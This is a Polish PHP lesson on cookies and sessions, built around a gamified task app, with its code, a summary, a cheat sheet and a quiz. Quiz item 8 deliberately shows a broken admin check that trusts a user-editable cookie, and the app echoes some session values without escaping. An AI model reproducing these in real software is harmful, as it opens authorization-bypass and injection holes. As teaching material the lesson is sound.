            <label for="termin">Termin *</label>
            <input type="date" id="termin" name="termin" required value="<?= $terminZadania; ?>">

            <label for="xp">Nagroda XP (1–100) *</label>
            <input type="number" id="xp" name="xp" min="1" max="100" required value="<?= $xpZadania; ?>">

            <button type="submit">Dodaj zadanie</button>
        </form>
<?php
require_once __DIR__ . '/includes/footer.php';

<?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- dane użytkownika (z sesji — zapisane przy logowaniu w zaloguj.php) ---
$imieUzytkownika = $_SESSION['imie'];
$login = $_SESSION['login'];


// --- dane zadań (z pliku CSV) ---
$zadania = [];
$bladZadan = null;

try {
    $zadania = wczytajZadania(PLIK_ZADAN);
} catch (Exception $wyjatek) {
    $bladZadan = $wyjatek->getMessage();
}


// --- dane grywalizacji (symulowane) ---
$xp = 99;
$streak = 5;
$dataOstatniejAktywnosci = "2026-09-14";


// --- wywołania funkcji: grywalizacja ---
$poziom = obliczPoziom($xp);
$tytul = pobierzTytul($poziom);
$xpWAktualnymPoziomie = obliczXpWAktualnymPoziomie($xp, $poziom);
$procentPostepu = obliczProcentPostepu($xpWAktualnymPoziomie);
$brakujeXp = ileBrakujeXp($xp, $poziom);

//pasek postępu
$liczbaAktywnychSegmentow = (int) ($procentPostepu / 10);
$progNastepnegoPoziomu = $poziom * XP_NA_POZIOM;


// --- wywołania funkcji: lista zadań ---
$wykonaneZadania = pobierzWykonaneZadania($zadania);
$aktywneZadania = pobierzAktywneZadania($zadania);

$liczbaWszystkich = count($zadania);
$liczbaWykonanych = count($wykonaneZadania);
$liczbaAktywnych = count($aktywneZadania);

$xpDoZdobycia = sumujXp($aktywneZadania);

$zadaniaWgTerminu = sortujPoTerminie($zadania);
$aktywneWgTerminu = sortujPoTerminie($aktywneZadania);
$wykonaneWgTerminu = sortujPoTerminie($wykonaneZadania);

// uproszczenie (symulacja): aktywność = wykonane jakiekolwiek zadanie z listy
$zadanieWykonane = $liczbaWykonanych > 0;

$streak = aktualizujStreak($streak, $dataOstatniejAktywnosci, $zadanieWykonane);


// --- widok listy: z adresu strony (GET) albo zapamiętany w ciasteczku ---
$filtr = $_GET['filtr'] ?? $_COOKIE['filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' && $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (isset($_GET['filtr'])) {
    setcookie('filtr', $filtr, time() + CZAS_PAMIETANIA_WIDOKU);
}

$zadaniaDoWyswietlenia = match ($filtr) {
    'wszystkie' => $zadaniaWgTerminu,
    'aktywne' => $aktywneWgTerminu,
    'wykonane' => $wykonaneWgTerminu
};


// --- komunikat jednorazowy (z sesji) ---
$komunikat = pobierzKomunikat();


// --- prezentacja ---
$nazwaStrony = 'TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>
        <?php if ($komunikat !== '') { ?>
        <p class="sukces"><?= $komunikat; ?></p>
        <?php } ?>

        <p>Zdobywaj punkty za wykonane zadania!</p>

        <p>Zalogowano jako <strong><?= $login; ?></strong></p>
        <form method="post" action="wyloguj.php">
            <button type="submit">Wyloguj</button>
        </form>

        <h2>Witaj, <?= $imieUzytkownika; ?>!</h2>

        <p>Poziom: <strong><?= $poziom; ?></strong></p>
        <p>Tytuł: <strong><?= $tytul; ?></strong></p>
        <p>Łączne XP: <strong><?= $xp; ?></strong></p>

        <h3>
            <?= "Masz $xpWAktualnymPoziomie XP z " . XP_NA_POZIOM . " XP potrzebnych do poziomu " . ($poziom + 1) . " (" . round($procentPostepu, 2) . "%)"; ?>
        </h3>

        <div class="pasek-xp">
            <?php
            for ($segment = 1; $segment <= 10; $segment++) {
                if ($segment <= $liczbaAktywnychSegmentow) {
                    echo "█";
                } else {
                    echo "░";
                }
            }
            ?>
        </div>

        <p>Kolejny próg: <?= $progNastepnegoPoziomu; ?> XP</p>
        <p>Brakuje XP: <strong><?= $brakujeXp; ?></strong></p>
        <p>Streak: <strong><?= $streak ?></strong></p>

        <h2>Twoje zadania</h2>

        <p><a href="dodaj-zadanie.php">+ Dodaj zadanie</a></p>

        <?php if ($bladZadan !== null) { ?>
        <p class="blad">Nie udało się wczytać zadań: <?= $bladZadan; ?></p>
        <?php } else { ?>

        <p>
            Wszystkie: <strong><?= $liczbaWszystkich; ?></strong> |
            Wykonane: <strong><?= $liczbaWykonanych; ?></strong> |
            Aktywne: <strong><?= $liczbaAktywnych; ?></strong>
        </p>
        <p>XP do zdobycia z aktywnych zadań: <strong><?= $xpDoZdobycia; ?></strong></p>

        <?php
        if ($liczbaWszystkich === 0) {
            echo "<p>Brak zadań.</p>";
        } elseif ($liczbaAktywnych === 0) {
            echo "<p>Wszystkie zadania wykonane — świetna robota!</p>";
        } else {
            if ($xpDoZdobycia >= $brakujeXp) {
                echo "<p class=\"awans\">Wykonując aktywne zadania, awansujesz na poziom " . ($poziom + 1) . "!</p>";
            } else {
                echo "<p>Aktywne zadania nie wystarczą jeszcze na awans — brakuje " . ($brakujeXp - $xpDoZdobycia) . " XP.</p>";
            }

            $najpilniejsze = $aktywneWgTerminu[0];
            echo "<p>Najpilniejsze zadanie: <strong>" . wyczyscTytul($najpilniejsze['tytul']) . "</strong> — "
                . komunikatTerminu($najpilniejsze['termin']) . "</p>";
        }

        echo "<h3>Lista zadań (wg terminu)</h3>";
        echo "<p>Pokaż: <a href=\"index.php?filtr=wszystkie\">wszystkie</a> | "
            . "<a href=\"index.php?filtr=aktywne\">aktywne</a> | "
            . "<a href=\"index.php?filtr=wykonane\">wykonane</a></p>";
        echo "<p>Widok: <strong>$filtr</strong></p>";

        if ($liczbaWszystkich > 0 && count($zadaniaDoWyswietlenia) === 0) {
            echo "<p>Brak zadań w tym widoku.</p>";
        }

        foreach ($zadaniaDoWyswietlenia as $zadanie) {
            $tytulCzysty = wyczyscTytul($zadanie['tytul']);
            $znacznik = $zadanie['wykonane'] ? "[X]" : "[ ]";
            $klasa = $zadanie['wykonane'] ? "zadanie wykonane" : "zadanie";

            echo "<div class=\"$klasa\">";
            echo "<p><strong>$znacznik $tytulCzysty</strong> — {$zadanie['xp']} XP</p>";
            echo "<p>" . skrocOpis($zadanie['opis'], 50) . "</p>";
            echo "<p>Termin: {$zadanie['termin']}";

            if (!$zadanie['wykonane']) {
                echo " — " . komunikatTerminu($zadanie['termin']);
            }

            echo "</p>";

            if (stripos($tytulCzysty, 'PHP') !== false) {
                echo "<p>To zadanie dotyczy PHP.</p>";
            }

            echo "</div>";
        }
        ?>
        <?php } ?>
<?php
require_once __DIR__ . '/includes/footer.php';

        <p>TaskQuest 1.4</p>
    </div>
</body>
</html>

$imieUzytkownika, $login          // te same nazwy i znaczenie — zmienia się tylko źródło wartości (sesja)
$xp, $poziom, $tytul, $xpWAktualnymPoziomie, $procentPostepu, $brakujeXp,
$liczbaAktywnychSegmentow, $progNastepnegoPoziomu
$streak, $dataOstatniejAktywnosci, $zadanieWykonane
$zadania, $bladZadan, $wykonaneZadania, $aktywneZadania, $liczbaWszystkich, $liczbaWykonanych,
$liczbaAktywnych, $zadaniaWgTerminu, $aktywneWgTerminu, $wykonaneWgTerminu, $xpDoZdobycia
$filtr, $zadaniaDoWyswietlenia
$nazwaStrony
// dodaj-zadanie.php: $tytulZadania, $opisZadania, $terminZadania, $xpZadania, $bledy, $bladZapisu
define('XP_NA_POZIOM', 100), define('PLIK_ZADAN', ...)

wszystkie funkcje z Lekcji 1–13 — kod bez zmian (walidujLogin() przeniosła się z index.php do logowania)
struktura tablicy $zadania i format data/zadania.csv
obsługa awarii pliku (try/catch), walidacja formularza (tablica $bledy), wzorzec POST → przekierowanie → GET

// includes/funkcje_sesji.php (nowy plik)
czyZalogowany()           // true, gdy w sesji jest 'login'
wymagajLogowania()        // niezalogowany → przekierowanie na zaloguj.php + exit
ustawKomunikat()          // komunikat jednorazowy do $_SESSION['komunikat']
pobierzKomunikat()        // odczyt komunikatu i usunięcie go z sesji ('' = brak)

// includes/funkcje_tekstowe.php
walidujDaneLogowania()    // tablica komunikatów; login sprawdza przez walidujLogin()

// zaloguj.php (nowy plik): $login, $imieUzytkownika (dane z formularza), $bledy
// wyloguj.php (nowy plik)

// index.php
$komunikat                // wynik pobierzKomunikat()

// sesja: $_SESSION['login'], $_SESSION['imie'], $_SESSION['komunikat']
// cookie: filtr (30 dni)
// config/config.php
define('CZAS_PAMIETANIA_WIDOKU', 60 * 60 * 24 * 30)

[ ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
[ ] Potrafię wyjaśnić, dlaczego zwykła zmienna PHP nie przetrwa do następnego żądania.
[ ] Wiem, gdzie leży cookie, a gdzie dane sesji, i co przechowuje ciasteczko PHPSESSID.
[ ] Wiem, dlaczego $_COOKIE sprawdzam jak $_GET, a tego, co sam zapisałam/zapisałem w $_SESSION — nie.
[ ] Wiem, że setcookie() i session_start() wysyłają nagłówki — muszą być przed HTML.
[ ] Wiem, że ciasteczko ustawione teraz zobaczę w $_COOKIE dopiero w następnym żądaniu.
[ ] Mam funkcje_sesji.php z czterema funkcjami i walidujDaneLogowania(); Test 1 i Test 2 się zgadzają.
[ ] index.php i dodaj-zadanie.php bez logowania przenoszą na zaloguj.php (Test 3).
[ ] Wylogowanie działa tylko przyciskiem (POST), usuwa sesję i jej ciasteczko (Test 4).
[ ] Komunikat po dodaniu zadania i po logowaniu pojawia się raz; ?dodano=1 nic nie robi (Test 5).
[ ] Widok listy jest pamiętany; zmienione w F12 ciasteczko nie psuje strony (Test 6).
[ ] diagnostyka.php pokazuje 15 razy [OK]; strona główna jak po Lekcji 13 (Test 7).
[ ] Potrafię wyjaśnić, co pokazał Eksperyment 5 (przejęcie sesji) i Eksperyment 6 (exit).
[ ] Usunęłam/usunąłem brudnopisy i ich ciasteczka.

$_SESSION['login'], $_SESSION['imie']        →  kim jest (sesja)
$xp, $streak, $dataOstatniejAktywnosci        →  jego postęp (zmienne w index.php, na sztywno)
obliczPoziom($xp), pobierzTytul($poziom), ... →  co z tych danych wynika (funkcje w innym pliku)

PODSUMOWANIE LEKCJI

W skrócie

Dlaczego w ogóle potrzebujemy cookies i sesji

• HTTP jest bezstanowy: każde żądanie uruchamia skrypt od pierwszej linii, a po jego zakończeniu wszystkie zmienne znikają. Cokolwiek ma przetrwać do następnego żądania, musi leżeć w przeglądarce (cookie) albo na serwerze (sesja).

Cookie

• setcookie() wysyła nagłówek odpowiedzi — musi się wykonać przed jakąkolwiek treścią strony (nawet przed spacją sprzed <?php).
• $_COOKIE zawiera to, co przeglądarka przysłała w tym żądaniu. Ciasteczko ustawione przed chwilą zobaczysz dopiero w następnym żądaniu — dlatego wypisujemy własną zmienną, a nie $_COOKIE[...].
• Wartość ciasteczka to zawsze tekst (ok. 4 KB). Liczby trzeba rzutować, tablice — zakodować (json_encode()).
• Bez trzeciego parametru ciasteczko znika po zamknięciu przeglądarki; z time() + sekundy żyje do podanej daty.
• Usunięcie ciasteczka = ustawienie go ponownie z czasem w przeszłości, z tą samą ścieżką i domeną.
• Ciasteczko leży u użytkownika i użytkownik może je dowolnie zmienić. $_COOKIE traktujemy dokładnie jak $_GET i $_POST: odczyt przez ??, potem sprawdzenie (regex albo lista dozwolonych wartości).

Sesja

• session_start() musi być w każdym pliku korzystającym z sesji i również przed jakąkolwiek treścią strony (wysyła ciasteczko PHPSESSID).
• Przeglądarka dostaje tylko identyfikator (PHPSESSID); dane leżą w pliku na serwerze. Użytkownik może podmienić identyfikator, ale nie zawartość sesji — dlatego to, co sami zapisaliśmy w $_SESSION, traktujemy jako zaufane.
• Sesja zachowuje typy danych (liczby, bool, tablice) — w przeciwieństwie do cookie.
• Plik sesji powstaje dopiero wtedy, gdy coś zapiszesz do $_SESSION.
• Pełne wylogowanie to trzy kroki: $_SESSION = [];, usunięcie ciasteczka session_name() ze ścieżką '/', session_destroy().
• Przy logowaniu wywołujemy session_regenerate_id(true) — użytkownik dostaje nowy identyfikator, zanim zapiszemy do sesji dane o tym, kim jest.

Decyzje projektowe

• W sesji: kto jest zalogowany, uprawnienia, komunikaty jednorazowe, dane między krokami formularza.
• W cookie: preferencje (widok listy, motyw, język, „nie pokazuj więcej”) — czyli rzeczy, przy których podmiana wartości przez użytkownika nikomu nie szkodzi.
• Komunikat jednorazowy = zapis do sesji → przekierowanie → odczyt i unset(). Dzięki temu nie da się go wywołać adresem i nie wraca po odświeżeniu.
• Po header('Location: ...') zawsze exit — bez niego skrypt wykonuje resztę pliku mimo przekierowania.

Co trzeba umieć na INF.03?

• rozpoznać i wyjaśnić różnicę między cookie a sesją: gdzie leżą dane, kto może je zmienić, jak długo żyją, co przechowuje ciasteczko PHPSESSID,
• napisać ustawienie ciasteczka z czasem wygaśnięcia (setcookie('nazwa', 'wartość', time() + sekundy)) i odczyt przez $_COOKIE z zabezpieczeniem ??,
• usunąć ciasteczko (czas w przeszłości) i wyjaśnić, dlaczego unset($_COOKIE[...]) nie wystarcza,
• napisać obsługę sesji: session_start(), zapis i odczyt $_SESSION, unset(), pełne zakończenie sesji w trzech krokach,
• rozpoznać błąd „headers already sent” i wskazać jego przyczynę (nagłówek po treści strony),
• napisać prosty mechanizm logowania na sesji: sprawdzenie danych z formularza → zapis do sesji → ochrona strony (if + header('Location: ...') + exit),
• uzasadnić, czego nie wolno trzymać w ciasteczku (loginu, roli, uprawnień) i dlaczego,
• znać zależność cookie ↔ sesja: sesja też opiera się na ciasteczku, tyle że zawiera ono wyłącznie identyfikator.

Minimum, które powinno wejść w pamięć

Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:

1. setcookie() i session_start() przed jakimkolwiek HTML-em.
2. session_start() w każdym pliku, który czyta lub zapisuje $_SESSION.
3. $_COOKIE pokazuje przeszłość: ciasteczko ustawione teraz zobaczysz w następnym żądaniu.
4. $_COOKIE = dane od użytkownika (sprawdzaj!), $_SESSION = dane od nas (możemy ufać).
5. Usunięcie ciasteczka to ustawienie go z czasem w przeszłości, z tą samą ścieżką.
6. Wylogowanie = dane + ciasteczko sesji + session_destroy().
7. Nigdy nie trzymaj w ciasteczku tego, od czego zależy, kim jest użytkownik i co mu wolno.
8. Po każdym header('Location: ...') — exit.

Ściągawka – najważniejsze polecenia i składnia

Ciasteczka

setcookie('nazwa', 'wartość');                       // do zamknięcia przeglądarki
setcookie('nazwa', 'wartość', time() + 60 * 60);     // godzina
setcookie('nazwa', 'wartość', time() + 60 * 60 * 24 * 30);  // 30 dni
setcookie('nazwa', '', time() - 3600);               // usunięcie

$wartosc = $_COOKIE['nazwa'] ?? 'domyślna';          // odczyt
isset($_COOKIE['nazwa']);                            // czy przyszło

Sesje

session_start();                    // na samej górze pliku

$_SESSION['login'] = 'Kama_2026';   // zapis (typy zachowane)
$imie = $_SESSION['imie'];          // odczyt danych, które sami zapisaliśmy
unset($_SESSION['komunikat']);      // usunięcie jednego klucza
$_SESSION = [];                     // wyczyszczenie danych
session_regenerate_id(true);        // nowy identyfikator (przy logowaniu)
session_name();                     // nazwa ciasteczka sesji: PHPSESSID
session_destroy();                  // usunięcie sesji z serwera

Pełne wylogowanie

session_start();

$_SESSION = [];

if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();

header('Location: zaloguj.php');
exit;

Strona tylko dla zalogowanych

if (!isset($_SESSION['login'])) {
    header('Location: zaloguj.php');
    exit;
}

Komunikat jednorazowy

// strona zapisująca
$_SESSION['komunikat'] = 'Zadanie zostało dodane.';
header('Location: index.php');
exit;

// strona wyświetlająca
$komunikat = $_SESSION['komunikat'] ?? '';
unset($_SESSION['komunikat']);

Preferencja z adresu albo z ciasteczka

$filtr = $_GET['filtr'] ?? $_COOKIE['filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' && $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (isset($_GET['filtr'])) {
    setcookie('filtr', $filtr, time() + CZAS_PAMIETANIA_WIDOKU);
}

Co gdzie

Quiz – sprawdź się

1. Co wypisze ten kod przy pierwszym otwarciu strony, a co przy drugim?

$licznik = $_COOKIE['licznik'] ?? '0';
setcookie('licznik', (int) $licznik + 1, time() + 3600);
echo $_COOKIE['licznik'] ?? 'brak';

2. Dlaczego ten kod nie zadziała i jaki komunikat zobaczysz?

echo "<h1>Panel</h1>";
session_start();
$_SESSION['login'] = 'Kama_2026';

3. Ciasteczko ustawiono przez setcookie('filtr', 'aktywne', time() + 3600). Który zapis rzeczywiście je usunie z przeglądarki?

// a)
unset($_COOKIE['filtr']);
// b)
setcookie('filtr', '', time() - 3600);
// c)
$_COOKIE['filtr'] = '';

4. Co wypisze brudnopis2.php, jeżeli otworzysz najpierw brudnopis.php, a potem brudnopis2.php dwa razy?

// brudnopis.php
session_start();
$_SESSION['xp'] = 50;

// brudnopis2.php
session_start();
$_SESSION['xp'] += 10;
echo $_SESSION['xp'];

5. W index.php odczytujemy $_SESSION['imie'] bez ??, a $_COOKIE['filtr'] — z ??. Wyjaśnij, dlaczego oba zapisy są poprawne.

6. Czego brakuje w tym wylogowaniu i jaki będzie tego skutek?

session_start();
$_SESSION = [];
session_destroy();
header('Location: zaloguj.php');
exit;

7. Znajdź błąd w funkcji — komunikat nigdy się nie pokazuje:

function pobierzKomunikat(): string
{
    unset($_SESSION['komunikat']);

    return $_SESSION['komunikat'] ?? '';
}

8. Kolega zabezpiecza panel administracyjny tak:

if (($_COOKIE['rola'] ?? '') === 'admin') {
    // panel administratora
}

Na czym polega dziura i jak ją naprawić, korzystając z tego, co znasz z tej lekcji?

9. Co się stanie, jeśli z tej funkcji usuniesz exit? Dlaczego użytkownik „nic nie zauważy”, a mimo to aplikacja jest dziurawa?

function wymagajLogowania(): void
{
    if (!czyZalogowany()) {
        header('Location: zaloguj.php');
        exit;
    }
}

10. Użytkownik wchodzi na index.php?filtr=wykonane, mając w przeglądarce ciasteczko filtr=aktywne. Jaki widok zobaczy i jaka wartość zostanie w ciasteczku po tym żądaniu?

11. Uzupełnij kod tak, aby zapamiętywał motyw strony na 7 dni. Dozwolone wartości: jasny i ciemny, domyślnie jasny. Wartość zapisuj do ciasteczka tylko wtedy, gdy przyszła w adresie.

$motyw = /* ? */;

if (/* ? */) {
    $motyw = 'jasny';
}

if (isset($_GET['motyw'])) {
    setcookie(/* ? */);
}

12. Po co w zaloguj.php wywołujemy session_regenerate_id(true) i dlaczego akurat przed zapisaniem loginu do sesji?

if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

$motyw = $_GET['motyw'] ?? $_COOKIE['motyw'] ?? 'jasny';

if ($motyw !== 'ciemny') {
    $motyw = 'jasny';
}

if (isset($_GET['motyw'])) {
    setcookie('motyw', $motyw, time() + 60 * 60 * 24 * 7);
}